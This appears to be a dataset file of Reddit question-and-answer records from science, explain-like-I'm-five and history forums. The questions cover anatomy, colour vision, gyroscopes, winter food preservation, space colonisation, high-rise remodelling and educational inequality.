{"q_id": "1sddpq", "title": "Is there three copies of anything in our body?", "selftext": "This question comes from my five year old. I couldn't think of anything. \n\nThree bones in the ear doesn't count because each bone is different. Eyes would count if we had three of them.\n\nEdit: my child inspired the question but I'm asking reedit for my own curiosity. Thanks for all the answers!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1sddpq/is_there_three_copies_of_anything_in_our_body/", "answers": {"a_id": ["cdwfrut", "cdwi2dh", "cdwi46q", "cdwi6pt", "cdwiceu", "cdwix5h", "cdwj536", "cdwj79r", "cdwmqwa", "cdwmywp", "cdwnfvj"], "score": [214, 210, 9, 3, 63, 19, 3, 70, 5, 18, 5], "text": ["That's a really great question. If your child is asking about exactly three you're probably out of luck because of our bilateral design, but the best I can say is you'll see three copies of an X chromosome in certain females afflicted with Triple X Syndrome.", "The lung has five lobes; the right lung is made up of three lobes, and the left lung two. This isn't quite what you're looking for (Greengrasser11 is right that our bilateral \"design\" makes it tough), but the odd number of lobes always seems peculiar to me. ", "Your feet have three cuneiform bones - medial, middle, and lateral. The 4th and  5th cuneiforms evolved to be fused to form the cuboid. So yea you have three cuneiform bones in each foot. Not quite what you were looking for but the closest I could think of.", "Well, we have more than three of some things such as various cell types, ribs (although in size-pairs), vertebrae (not exact copies) etc. It's also possible to have three kidneys, three testes etc, but that's generally considered a developmental fault. In the 'standard' human design, though, there generally isn't anything which comes in three (and only three) identical copies.\n\nPerhaps the closest thing might be the three types of cone photoceptor cell found in (most) eyes. Again, not identical in their makeup, but they share a function and location.", "Lots and lots and lots - if you count individual genes/alleles. Quite often, our DNA will code for something, but then have multiple copies of that gene in our genome. One of the posts on here (reddit) recently was regarding an article on \"junk\" DNA. Some researchers have claimed that these tandem repeats, or blank/junk DNA, are responsible for a lot of the variation in our faces. There's multiple reasons why we might have multiple copies of genes on our chromosomes, but one of the current theories is that it serves as a way to attenuate signal. By controlling the concentration of promoters or inhibitors, or controlling how many copies are exposed for translation, you can control how strongly the gene is expressed.\n\nOther than that, we have 3 joints in each finger, 3 points of articulation for each limb, 3 pieces to our heart valve (tricuspid), three roots on some of our teeth (and 3 faces on some), and 3 points of attachment for a lot of different muscles.\n\nI suppose that you were looking for something with a tidy sum of 3, but that isn't all that common in animals that develop bilaterally. Generally if you were looking for sets of 3 of something in bilateral animals, you'd have to look along the segmentation, ie in the anterior to posterior direction. We are a segmented animal, just like a worm (think of our ribs), and there's not a lot keeping things from developing in an odd number of segments.", "I can't really think of something a five year old one understand, but if you're curious yourself:\n\nOn the molecular level, lots of molecules are made of 3 identical subunits (homotrimers) \nOne of which is a type of inflammatory molecule, tumor necrosis factor alpha (TNF-alpha)\n\n_URL_0_", "So, there are six ear bones, not three, in most people.\n\nSome individuals have three nipples, or other features that are normally paired, but some people get an extra. A man named Francesco Lentini had three legs.\n\nYour five year old might be interested to know that there are three bones in the sternum - they are all different, but they are three of something that aren't just half of a set of six - they line up right down the middle of the chest.\n", "Med student here. Couple of thoughts.\nThe tricuspid valve in the heart is, as the name suggests, made up of 3 leaves. _URL_0_ (having two flaps in the lower diagram is the anomaly)\nOften people have supernumerary 'something'. For instance supernumerary nipples are relatively common, 1 in 18 for men and 1 in 50 for women. They most commonly occur on the left hand side.\nI have a supernumerary renal arteries, I have 3 instead of 2 which was picked up when we were practising ultrasound, and that has around 30% prevalence. ", "Look at your hand. The ring finger, middle finger, and index finger are slightly offset from each other because of where these phalanges  articulate (form a joint) with the metacarpals (that's your palm bones, son). However, if you measure the fingers length, you will see they are virtually identical. \n\nThis is true with several other bones. Why focus on bones? Each bone is a separate organ, and their structures are the result of developmental gradients just like the ones generating bilateral symmetry. Except the relevant gradients are often rostral/caudal ( head to tail).  \n\nThis results in several bones near each other being very similar in structure. You would have a hard time distinguishing one thoracic vertebrae from another. Similarly with lumbar vertebrae.  \n\nAs an aside, there are also three molars in each corner of the adult mouth.  (But that doesn't mean teeth are bones.)\n\n\n\n", "Neuroscience, neurosurgery MD PhD Candidate, Anatomy teacher here. \n\nLoads of things yeah, mostly developmental \"left overs\" or in dease. Allow me to highlight a few that we encounter pretty often in the anatomy lab.\n\nYeah, we have a couple of triplett arteries or veins, usually the \"third\" running right down the middle, two others parallel to them:\n\nArteries, Ligaments etc.\nAlong the umbilical folds (plica mediana) the middle artery then occludes after birth (_URL_1_)\n\nThe median artery of the forearm may (in rare cases) be prominent to a tripple blood supply to the hand (instead of the classical radial and ulnar artery)\n\nNerves\n\n-Trigeminal nerve (literally three branches; above the eyes, below the eyes, on the chin).5th Cranial nerve that relates sensory (and a wee bit of jaw movement) information from the face to the brainstem.\n\n\nOrgans\n\n-Double brain? What about tripple/quadruple brain: \nQuick overview, the grey matter or cortex are the nerve cells. These dont originate on the surface, but migrate along the long nerve axons to form the cortical surface. This migration process is damaged in some developmental diseases, leading to dysgenisis and heterotopic grey matter regions -A brain in a brain! Hemisphere, hemisphere and smaller brain inside. (Cortical Dysgenisis - _URL_0_)\n\n-(Cheating a bit) Three main (functional morphology) connections between right and left brain hemisphere: Anterior, posterior commisure and corpus callosum.\n\n- Tripple thyroid is common. left lobe, right lobe, accessory lobe as a developmental \"left over\". \n\n-Double and tripple spleen is quite common. \n\n-Three lung lobes on the right side. (Left has two, heart takes space)\n\n-The back of our liver is attached to the peritoneal wall in a triangle formation (does this count? :p) called the \"Area Nuda\". \n\n-Tripple kidney are quite common. (The third accessory kidney juxtaposed to one of the others)\n\n-Muscle groups: \n\n.M. triceps brachii - three origins of the muscle hence the name. (One end of the muscle is attached to three bones). \n\n-Our deltoid muscle has three parts.\n\nRandomly loads of other uninteresting bits. \n\nTLDR: Yes: in 1) Pathology, 2) Derivative of developemental \"left overs\" and 3) bits and bobs here and there. \n", "Here's a thought: codons. The way genes are translated to proteins in our body is through a process that involves codon. Essentially, our DNA gets recoded in a single stranded form known as RNA. This is a process called transcription. After a gene has been transcribed, the genetic code of the RNA transcript is then read and translated to proteins. This occurs three base pairs as a time. These collections of three nucleotides that get read at the same time encode for an amino acid. Once enough of those amino acids link together, the newly formed peptide can be further processed and folded to form a functional protein. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["http://en.wikipedia.org/wiki/Tumor_necrosis_factor_alpha#Structure"], [], ["https://myhealth.alberta.ca/health/_layouts/healthwise/media/medical/hw/h9991304_004.jpg"], [], ["http://www.ncbi.nlm.nih.gov/pubmed/12194504", "http://en.wikipedia.org/wiki/Umbilical_folds"], []]}
{"q_id": "119zoh", "title": "The human retina has three types of color receptors: Red, Green, and Blue. How would our vision differ if you added a fourth color such as Yellow?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/119zoh/the_human_retina_has_three_types_of_color/", "answers": {"a_id": ["c6kwds9"], "score": [4], "text": ["Just a comment, the so-called \"red\" cone is actually most sensitive to 560nm, which is greenish-yellow, not red. It actually is not very sensitive to red light. (It is *more* sensitive to red light than the other 2 cone types, but it's actually just a slightly modified version of the M cone, and its peak frequency is only slightly shifted from the M's). Most textbooks illustrate this incorrectly. ([ref](_URL_0_) for peak sensitivity)\n\nAnyway, there are a lot of other vertebrates that have 4 cone types - the ancestral vertebrate seems to have had 4 cones, and mammals have lost 2. (presumably during a phase of nocturnal evolution. At about the same time, we mammals evolved a much better ear than the other vertebrates: more sensitive and better high-frequency perception). For example fish, reptiles and birds all have four cone types. Old world primates are in the middle of re-evolving a 3rd cone and there's some evidence that a few rare women (tetrachromats) have, and might even use, a 4th. \n\nANYway, theoretically a 4th cone would allow us to perceive a greater assortment if distinct hues in the regions of the spectrum where the new cone's sensitivity overlaps with another cone. As it stands now we actually can't distinguish blues and reds very well. There is a vast swath of short wavelengths that we perceive as just \"blue\" because only the S (blue) cone can pick them up, meaning that our brain has no way to distinguish one short wavelength from another, similar short wavelength. There's similarly a vast swath of long wavelengths that we perceive as just \"red\" because only the L cone is being stimulated. Then there's a relatively small set of wavelengths, quite a small portion of the visible spectrum actually, where we perceive quite a lot of different hues: green-yellow-orange. That's because this is the region where a small difference in wavelength causes a large difference in *relative* stimulation of the 3 cone types. So - cones with overlapping sensitivites give us the ability to perceive very similar wavelengths as very different hues. Presumably something similar would happen if we added (say) a UV cone or a true red cone.\n\ntl;dr - probably we'd see a greater variety of distinguishable hues where now we see just \"blue\" or \"red\".\n\nRefs: Am on phone on a flight that is about to take off, will have to add refs later. (Self ref, I wrote the color vision chapter for Freeman's \"Biological Science\".)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.nature.com/nature/journal/v325/n6103/abs/325439a0.html"]]}
{"q_id": "5zynqn", "title": "nutation, rotation and precession", "selftext": "What is the difference between Nutation, Rotation and Precession? What do these things mean and do concerning a Gyroscope? Can one of them influence the other? How are they corelatet? I have no fucking clue.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5zynqn/eli5_nutation_rotation_and_precession/", "answers": {"a_id": ["df232vv"], "score": [6], "text": ["Stand up.\n\nTurn on the spot like a ballerina. You move your body around an axis that is fixed. That's **rotation**. Let's align the axis of rotation (roughly let's pretend it's your spine) with z in an xyz coordinate system.\n\n(You may sit down, thanks)\n\nNow, only your head:  ear to shoulder,  look up, ear to other shoulder, chin towards your chest, ear to shoulder. That's **precession**. The axis makes a full circle. Your head at all times forms a constant angle vs. Z . (First angle change)\n\nNow, repeat the above exercise and at the same time move your head a bit inwards-outwards. This is easier with Parkinson's. (Sorry, bad joke, but you get an idea of the change in the movement). The small movements around the precession circle are **nutation**. \nIt looks like [this](_URL_0_). Second angle change.\n\n\nThe earth does all three while around the Sun. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.m.wikipedia.org/wiki/Nutation#/media/File%3APraezession.svg"]]}
{"q_id": "a2mzm6", "title": "how did people in the past before any refrigeration survived winter? what food did they ate if things spoiled and winter made crops harder to grow?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a2mzm6/eli5_how_did_people_in_the_past_before_any/", "answers": {"a_id": ["eazo8rl", "eazodna", "eazof4m", "eazou2x"], "score": [9, 3, 6, 5], "text": ["Some crops can last for months or even years without refrigeration. That's one reason why grains such as wheat and rice are so popular - they have a very, very long shelf life, easily reaching decades if stored properly.", "In Asian countries, as far as I know, people consumed lot of oil and meat in the summer to gain weight. In this way they became more durable in cold weathers due to more fats providing energy for body temperature stability. For food, they had stored wheat, corn and etc. to later use in the winter to make food. Livestock also helped them. Through the use of chickens: eggs; cows:milk and also meat if necessary.\n\nOverall though, stored food was their main source for winter.", "There were plenty of ways to preserve food in those days before refrigeration. Cereals like wheat, corn, and rice were specifically grown as staple crops because they can last a few months in storage without spoiling.\n\nBut even putting that aside, meats have always been preserved by drying them into jerky, preserving them in salt, or pickling them. You couldn't keep like a fresh steak or chicken breast preserved, but you could keep meats preserved in some form such that they could last a few months. \n\nLivestock also provided food in the winter. Chickens don't stop laying eggs and cattle and goats don't stop producing milk in the winter. This is why Northern-latitude cultures across the world have developed lactose-tolerance and lived as herders. They were surviving on dairy products from their livestock during the winter.\n\nAnd in more recent centuries, canning also provided a way to keep fresh produce on a shelf for the winter. People canned goods in their own home, preserving vegetables and fruits they'd grown in their gardens.\n\nAlso, I don't know how common this was but my grandpa (b. 1943) said that as a kid on a farm in Ohio, they had an underground cellar that was naturally cold enough to act as a refrigerator. ", "People used to have pantries. This is a small dark room which were preferably kept colder then the rest of the house if possible but not required. In the pantry they would store food which took some time to spoil. For example grains will last a long time if you do not make flour out of them. Just look at your cereals or your rice. You can also bake dense breads which will last for much longer then fluffy bread. For meat there are several ways to preserve it. You can dry it with salt or smoke it. Or you can just not butcher the animal until you are out of food for it. This was common with pigs as they can survive on trash so the pig would traditionally last until Christmas before it was slaughtered. At that point it was cold enough outside that meat would freeze and you had frozen meat until spring. Vegetables were also preserved. Root vegetables are easy to preserve as they have evolved to endure winters. You just need to keep them dry, dark and cooled but not freezing. Fruits require a bit more knowledge and preparations but can still be preserved. You can dry fruits as well or you can store them in acid or other environment that bacteria do not like, for example pickles, jam, etc. It was also common to home can stuff by placing the fruit in a lidded jar, fill it with water and then boil it. Boiling it would kill all bacteria and when it cools down its pressure drops which shuts the lid tight to the jar sealing it up. Milk was generally not consumed during winter although they would have a lot of cheese and butter which is how you would preserve milk."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "6imjne", "title": "i often read about how mankind should pursue space colonization, but i always wonder - wouldn't it be more effort and risk to make that a reality vs. just correcting what's wrong on our own earth?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6imjne/eli5_i_often_read_about_how_mankind_should_pursue/", "answers": {"a_id": ["dj7cmp2", "dj7cp43", "dj7crcu", "dj7csh3", "dj7cxwr", "dj7d70i"], "score": [4, 3, 2, 2, 2, 2], "text": ["Unless we discover teleportation, and it is convenient to perform en masse, then space colonization will never be a solution to a \"ruined earth.\" Simply put, it's not physically possible to get people off the planet fast enough. \n\nSo if we ever had to evacuate earth, what you're really doing is getting a few survivors away while most of the human race dies.\n\nSpace colonization then, isn't a 'solution to the Earth problem' but rather a safeguard against our extinction, if the Earth problem proves unsolvable, or some other calamity destroys our homeworld. \n\n", "It's about expanding our civilisation for the security of our survival. What if a large asteroid strikes the Earth in the next few centuries, completely wiping us out? If we haven't successfully expanded and provided ourselves with a rendundancy system, we will be made exstinct. Think of space colonisation as an insurance policy against our species.", "At the end of the day there's a finite amount of resources on earth - not all are renewable. New planets = new resources to exploit.\n\nIn addition, the technology to very reliably repel an extinction-level asteroid isn't remotely close to there yet - all it takes is one big one and WHAMMO. Not to mention stuff like wandering black holes, gamma ray bursts (everything's fine then everything's suddenly dead), etc that we can't do anything about.", "We don't know yet if we *can* fix what's wrong here on Earth. We've figured that we can probably slow down the progress, but this would involve getting a vast majority of the global population to change the way they live completely, which, sadly, a lot of people aren't willing to do.\n\nBut take away the global warming aspect of it. If that weren't a factor, humans would go on reproducing, increasing the global population, on and on, until *something* prevents it. Eventually, the Earth will be uninhabitable. Of course, that may take many, many years, but if humans are consistently able to grow in population and maintain life on Earth, eventually, humans will encounter a time when they can no longer live on this planet for one reason or another. \n\nAt the very least, having a back-up plan is favorable to not having one. ", "I'm a fan of the idea of investing in our own planet - make it live forever. It sounds naive, but wouldn't it be great? ", "Have you ever heard the adage, \"never place all of your eggs in one basket\"? Right now, the human species are the eggs, and the Earth is the single basket it's in, despite knowing the technology and having the collective wealth that make a huge task like space colonization possible.\n\nSpace colonization never claims to solve deep human issues like economic inequality, hunger, or war. What it does offer, however, is an opportunity for the human species to survive beyond the cradle from which it was born.\n\nMost pragmatists believe that the human species has been solving and advancing through many of the social problems that plague it. However, solving our issues takes time, and there are very real threats to the human species that could wipe it out before many of the modern social problems we face today are solved. Climate change, nuclear war, or a catastrophic meteorite are all plausible and very real threats to end the human species.\n\nSpace colonization is merely an attempt to elongate the process by which we can solve these issues. Not only that, but it can also help advance these issues by creating technologies and cultural paradigms that can also work in tandem with human social progress."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "a2d2tw", "title": "Did Majapahit Empire have cavalry force? Did any southeast asian kingdoms even have one?", "selftext": "I remember that there are depiction of horses in various candi. But were they used as cavalry force? or just for domestic purpose? I just can\u2019t imagine thousand of horses marching through the jungles of Java.\nThanks in advance.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/a2d2tw/did_majapahit_empire_have_cavalry_force_did_any/", "answers": {"a_id": ["eazld12"], "score": [2], "text": ["Piggybacking on to this question: did the use of mounted elephants in pre-colonial Southeast Asian warfare make equine cavalry unnecessary in those societies at wartime?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "aidfg3", "title": "how do they remodel high rise apartments?", "selftext": "How do they get materials to high level floors and how do they not knock down the entire building?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aidfg3/eli5_how_do_they_remodel_high_rise_apartments/", "answers": {"a_id": ["eemwhts", "eemwkcs", "eemwne2"], "score": [2, 6, 3], "text": ["The logistics for interior demo and fitout for renovations really aren't that different from those of a Tenant Improvement or interior fitout for new highrise construction.\n\nUsually in new construction, the core and shell team will build the foundation, elevator and stair cores, curtain wall, central MEP, and life safety systems as a discrete project with its own contract. Once the core and shell is complete (and the material lifts and tower crane(s) are gone), a separate team with a separate contract will perform the interiors work. \n\nThe interior fitout generally won't modify the building's structural or essential MEP infrastructure. Partition walls, interior doors, finishes, local MEP, etc can be stripped out and installed in whatever configuration as needed and as the building permit allows. Service elevators or protected personnel elevators can be used to move materials in and out.", "First off, high rise remodels are typically cosmetic... removing and replacing surfaces like floors, carpets, kitchen/bath fixtures. This would in no way threaten the structural integrity of a building. Same goes for exterior fixes like window replacement.\n\nTo get materials up inside a high rise, buildings typically have freight elevators that can be used to move materials... they are larger and designed for moving people in/out and for hauling building materials. In rare cases, they may even use the top of passenger cabs to move oversize items that won't fit (my grandparents had to do that with a sofa once when they lived in a high rise without a dedicated freight elevator.\n\nIt does take longer to move materials in and debris out, and this can be an added cost to such jobs.", "If you were to look at a floor of a typical high rise building, there would be a few places where electrical conduit, hvac, water/sewer pipes go up and down the high rise, and a few places where support columns hold the floor above, but the rest of it is wide open space. Most of the walls are just there to divide the individual apartments or rooms and have no impact on the structure of the high rise. Like this \n\n_URL_0_\n\n\nSome high rise buildings have a freight elevator, that's also used by movers when people move into and out of the high rise apartment. That can be used to move large and heavy goods to the different floors. In other cases, they remove a window and use a roof mounted crane to hoist stuff up from the ground up to a particular floor.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.gettyimages.com/detail/photo/singapore-empty-floor-of-high-rise-building-high-res-stock-photography/sb10067705dz-001"]]}
{"q_id": "a7670r", "title": "what happens to cocaine in the bloodstream?", "selftext": "I just found out that the melting point of cocaine is 208.4\u00b0F (98\u00b0C). How does this cocaine in your bloodstream at temps above and below this?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a7670r/eli5_what_happens_to_cocaine_in_the_bloodstream/", "answers": {"a_id": ["ec0lnqe", "ec0luv3", "ec0pvfr"], "score": [4, 8, 6], "text": ["Human blood is 98 degrees fahrenheit (about 37 degrees celsius)\n\nYou've confused fahrenheit and celsius.", "Salt melts at 1400F/800C but you can easily dissolve it in a glass of room temperature water (70F/23C).  It doesn't need to *become a liquid* to *dissolve in a liquid*.\n\nSame thing with drugs in your blood - most are merely dissolved.", "If you just did a bump it'll stay in your system for 3 days if you're not a chronic user.\n\nI feel like you're asking that without actually asking"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "7v0z9e", "title": "Similar to increasing wealth gap, are we experiencing an increasing educational gap? Are well-educated getting more educated and under-educated staying under-educated?", "selftext": "Edit: Thanks everyone for many different perspectives and interesting arguments!\n\nOne statistic brought up was global educational attainment rising overall, which is a quite well-known development, and I'm glad it is taking place.\n\nAnother point brought up was education and degrees. In this question, I don't necessarily equal attained education with received degrees but rather with actual acquired knowledge, including knowledge gained through non-institutional education. \n\nI realize we need quantifiable ways to measure educational attainment and awarded degrees is one of them. Though imperfect, it is better than non-existent. One just has to be careful about interpreting what exactly that number tells us. It also begs the question: What is the best way to measure acquired knowledge?\n\nAn educational gap has existed in some form since the dawn of formal education. However, in case there is a trend of a growing educational gap, what concerns me is the possible emergence of an **educational divide**. Depending on the definition of \"educational divide\" and high-quality data available, such divide might potentially be underway.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7v0z9e/similar_to_increasing_wealth_gap_are_we/", "answers": {"a_id": ["dtosv16", "dtov8uy", "dtovks3", "dtovxkb", "dtovy8l", "dtoxb4e", "dtoz68f", "dtozhda", "dtozv8c", "dtp0a0l", "dtp13d5"], "score": [626, 4160, 63, 15, 349, 24, 31, 15, 3, 3045, 21], "text": ["I think you need to define \"we\". This would be very different for each countries laws. Things like access to education, ability to use that education to actually benefit lifestyle, etc, will dictate the answer to this question.", "Overall, people are more educated now than before. Educational attainment (that is, the percentage of people graduating high school and going to college) has [increased dramatically since the 40s.](_URL_0_) Some even feel that college degrees are now too easy to get, or too prevalent in certain fields, and that people are compelled to become over-educated for even entry level positions.", "No. Educational levels are going up by any measure just about everywhere. You can look at this site for the National Center for Educational Initiatives _URL_0_\nThere you will see that educational levels are going up in all OECD countries. So, you could ask if these stats are just about the more educated, but that doesn't seem to be the case. \n\nLook here for world literacy rates: _URL_1_\n\nDeveloped countries are achieving higher levels of education and developing countries are becoming more literate. There are likely some pockets of exceptions such as parts of the Middle East where girls have recently been forbidden from attending school. ", "If you are taking about the US then no.\n\n[There\u2019s more people graduating higher education than ever before](_URL_0_) \n\nIt\u2019s extremely easy to get a higher education in the US. There are so many grants and scholarships that even the poorest of kids can still get a good degree if they are willing to work hard.", "Sort of.\n\nTo be clear, overall education rates have gone way up - more people are getting bachelor's degrees, master's degrees, and PhDs now than were historically. This is not such a good thing for bachelor's degrees - only about a third of jobs require such, but about 2/3rds of young people go to college, and about half of them are getting degrees. This is resulting in the value of college degrees dropping and inflation in what degrees people are asking for for jobs - there are lots of jobs that ask for bachelor's degrees now which really don't need to, but can because there's an excess of them.\n\nHowever, on the other hand, in recent years, college attendance has leveled off a bit as a result of this.\n\nWe've seen a modest decline in overall college attendance in the last few years, but [we've been seeing the largest drop in low-income people going to college,](_URL_0_) and low-income people were less likely to go to college to begin with.\n\nBut you asked about education. This, too, is so; children of more educated families are more likely to go to college.\n\nContrary to what many people might expect, this is not an American trend; in Norway, we've seen the same thing:\n\n >  [And what happens is that \u2014 even though it\u2019s essentially free \u2014 only 14 percent of children from the least-educated families in Norway go to college, compared to 58 percent of children from the most-educated families, according to an analysis by a Norwegian education researcher, Elisabeth Hovdhaugen.](_URL_1_)\n\nInterestingly, this bottom-end rate is indistinguishable from the bottom-end rate in the United States (13%), suggesting that it is primarily cultural factors, not economic ones, which control college attendance.", "The Economist ran a nice series of articles with references to data that showed what they call a [\"hereditary meritocracy\" exists in this country.](_URL_0_) A combination of a knowledge based economy that values education, high tuition costs, and rising \"enrichment\" spending by the rich mean that the gap between rich and poor keeps spreading not he education front with things like SAT scores. ", "Even though we are graduating more people from high school than the 1940's (as one poster here pointed out) Americans demonstrate an appalling ignorance when it comes to Science and Civics: _URL_1_                                                                      \nAnd this problem is made worse if you attend a school in a poor district.                                                                                       \nIn wealthier communities schools are better. They are able to afford better  teachers and facilities (science labs, media centers, technology) so the opportunities for learning are so much better:  _URL_0_ \nThe answer is that government must get involved, at least as a facilitator, as this is a problem too big for local areas to solve many times: _URL_2_\n.", "**Yes**. In at least one form of your question. The wealth gap is manifesting an education gap. [Summarized in a graph](_URL_5_) from a [story about shifts in spending](_URL_3_)\n\nEducation is now a primary form in how [the wealthy signal their status](_URL_1_). This makes education is a (new!) mark of higher income families, [who spend more on education, as a percentage of income](_URL_4_). This is visible in [many ways](_URL_0_). And is well studied as [an increasing trend](_URL_2_).", "I did a little looking into it and there appears to be some evidence of a gap starting to form. The first chart of [this site](_URL_0_) shows educational attainment levels in the US over time. The final 10 years shows something potentially troubling, an uptick in the percentage of people dropping out before they reach high school, resulting in growth in the most and least educated at the expense of those in between. While this doesn't give enough information to speculate on why this may be occurring, or even if it is an anomaly in the steady increase in education at all levels, it does lend credence that an education gap may be starting to form. ", "TLDR: Yes and no. There is no direct connection between having and education and then getting more education as a result. However, education leads to more money and more money leads to more opportunities for education and more success in obtaining education, both for an individual and for that individual's children. It would be perfectly correct to say that the Wealth Gap has created an Education Gap because the American education system is so dependent upon local economies.\n\n-----\n\nSociology professor here.\n\nIt can be stated as a scientific fact that [wealth inequality exists in America.](_URL_0_). It can also be stated as a scientific fact that [wealthy individuals are more likely to graduate high school, graduate college, and obtain advanced degrees](_URL_4_). Therefore, the wider the inequality in wealth the wider the inequality in education.\n\nHowever, there is a worse problem that's hidden in that statement. Education attainment is not a perfect indicator of how educated a person is. That's sort of counter intuitive, so here is an example:\n\nGroup A) A poor section of town has low property values which means less taxes that fund schools. This then means that the school cannot hire the best teachers because it cannot pay very well. This means that the education being received by students is delivered by average or below average teachers, that textbooks and campus facilities are more likely to be outdated, and that after-school activities and extra curriculars are more likely to utilize sub-par equipment.\n\nGroup B) A wealthy neighborhood has high property values which means plenty of funding for schools. They can afford high salaries, so many teachers apply to work here, meaning the school can select the best of the best. They also have money to keep their facilities and extra curricular activities up to date.\n\nNow if both Group A and Group B have a perfect 100% graduation rate, can we say that the students that graduate have the same education? Yes and no. They passed 12th grade, but in one situation the academics were more rigorous and the education included more than just the bare minimum. So on one hand we can point to statistics that say America's graduation rates are increasing, so we must be smarter. On the other hand, our schools are getting less funding and in some neighborhoods the curriculum are more lax, therefore the graduation rates increasing may be showing that our schools are getting easier to pass.\n\nSome studies have shown that [private schools emphasize critical thought and leadership, while public schools are more likely to emphasize discipline, cooperation, and obedience](_URL_2_). Is this a disparity? In a way. Leadership and critical thought are skills needed in management and entrepreneurial jobs, while cooperation and obedience are more useful in menial labor. This isn't specifically tied to school funding, but it is worth noting that education quality will affect job prospects and success.\n\nLawmakers and policy makers are well aware of these trends. To correct for this, America has the \"No Child Left Behind\" law which forces all public schools to meet at least a minimum standard of education. The problem is that some schools barely meet it, while other (well funded) schools exceed it by leaps and bounds.\n\nSome states also have a \"Robinhood\" law which takes excess money from wealthy neighborhoods and redistributes it to poor neighborhoods to keep schools from becoming too polarized. These are effective, but not perfect, and I'm not an expert on this area so I'll leave it at that.\n\nHowever, all of this just says that the wealth gap creates an education gap. So the next question is, does higher education create more education?\n\nFor an individual, no. Most people seek a particular degree, and then stop seeking education. If education snowballed like the OP implies that then we'd have individuals who obtain dozens of Ph.D's, and that's pretty rare.\n\nIt is common, though, that [educated parents are more likely to raise educated children](_URL_1_) (pay wall). There's a lot of different factors here, mostly having to do with parent's higher education meaning more income and more free time. At the same time, this social fact is why colleges have programs set aside to specifically help first generation college students. People who go to college when their parent's hadn't gone to college are [half as likely to graduate](_URL_3_) as students whose parents do have a degree.\n\nIn summary, the answer is a soft yes. There is an education gap in america and it is growing, but it has more to do with the wealth gap and school funding than with education specifically.", "[Here](_URL_1_) is a recently published compilation of official statistics from the UK that shows that the percentage of people in higher education in the UK has gone up from 42% in 2006 to 49% in 2016. Obviously, this means that there is an overall higher attainment in education in the general population, but if I understand correctly, this wasn't the point of your question. What I think you're asking is whether there is a bigger *gap* between those in that are high attainers in education and those that are not. And the answer seems to be yes! \n\nFor instance, have a look at the gap in gender attainment. This has actually increased since 2006 - females are now 11.9 percentage points more likely to be in higher education than men. And this is just using one particular variable - gender. Once you factor in social class, parental involvement, income brackets, cultural differences, etc etc, it begins to show a much clearer view of the gap in attainment. [Race and class background](_URL_0_) are also major variables that account for differences in attainment. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://upload.wikimedia.org/wikipedia/en/d/d1/Educational_Attainment_in_the_United_States_2009.png"], ["https://nces.ed.gov/programs/coe/indicator_cac.asp", "https://ourworldindata.org/literacy"], ["https://www.google.com/amp/thehill.com/homenews/state-watch/326995-census-more-americans-have-college-degrees-than-ever-before%3famp"], ["https://www.insidehighered.com/news/2015/11/25/study-finds-drop-percentage-low-income-students-enrolling-college", "http://hechingerreport.org/in-norway-where-college-is-free-children-of-uneducated-parents-still-dont-go/"], ["https://www.economist.com/news/briefing/21640316-children-rich-and-powerful-are-increasingly-well-suited-earning-wealth-and-power"], ["https://www.theatlantic.com/business/archive/2016/08/property-taxes-and-unequal-schools/497333/", "http://sciencevibe.com/2017/02/14/the-appalling-ignorance-that-america-embraces/", "https://www.npr.org/2016/05/01/476224759/is-there-a-better-way-to-pay-for-americas-schools"], ["https://fivethirtyeight.com/features/rich-kids-stay-rich-poor-kids-stay-poor/", "http://www.bbc.com/capital/story/20170614-the-new-subtle-ways-the-rich-signal-their-wealth", "http://journals.sagepub.com/stoken/rbtfl/SMSfpaQqTyleY/full", "https://qz.com/999078/the-new-conspicuous-consumption-is-a-lacrosse-playing-child-and-an-npr-tote-bag/", "https://www.npr.org/sections/money/2012/08/01/157664524/how-the-poor-the-middle-class-and-the-rich-spend-their-money", "https://www.theatlas.com/charts/rJGC4qmzZ"], ["https://www.business2community.com/us-news/the-20-us-cities-with-the-worst-educational-progress-charts-01250158"], ["https://books.google.com/books?hl=en&amp;lr=&amp;id=FpkMaxCWUsMC&amp;oi=fnd&amp;pg=PP11&amp;dq=america+wealth+disparity&amp;ots=mfq68ureXx&amp;sig=3pdwpch0YiMTgCa2g2QS8eoRVJU#v=onepage&amp;q=america%20wealth%20disparity&amp;f=false", "http://psycnet.apa.org/buy/2005-06518-016", "http://archive.wilsonquarterly.com/sites/default/files/articles/WQ_VOL11_W_1987_Research.pdf", "https://education.cu-portland.edu/blog/classroom-resources/first-generation-college-students-graduation-rates/", "https://books.google.com/books?hl=en&amp;lr=&amp;id=-EiLBQAAQBAJ&amp;oi=fnd&amp;pg=PP1&amp;dq=america+wealth+disparity&amp;ots=UUSV9oWRtc&amp;sig=uN3VqNhDi4H_TaB14KEdeIzlRXI#v=onepage&amp;q&amp;f=false"], ["https://www.lambeth.gov.uk/rsu/sites/lambeth.gov.uk.rsu/files/The_Educational_Attainment_of_White_Working_Class_Pupils_-_Empirical_Evidence_2014.pdf", "https://www.gov.uk/government/uploads/system/uploads/attachment_data/file/648165/HEIPR_PUBLICATION_2015-16.pdf"]]}
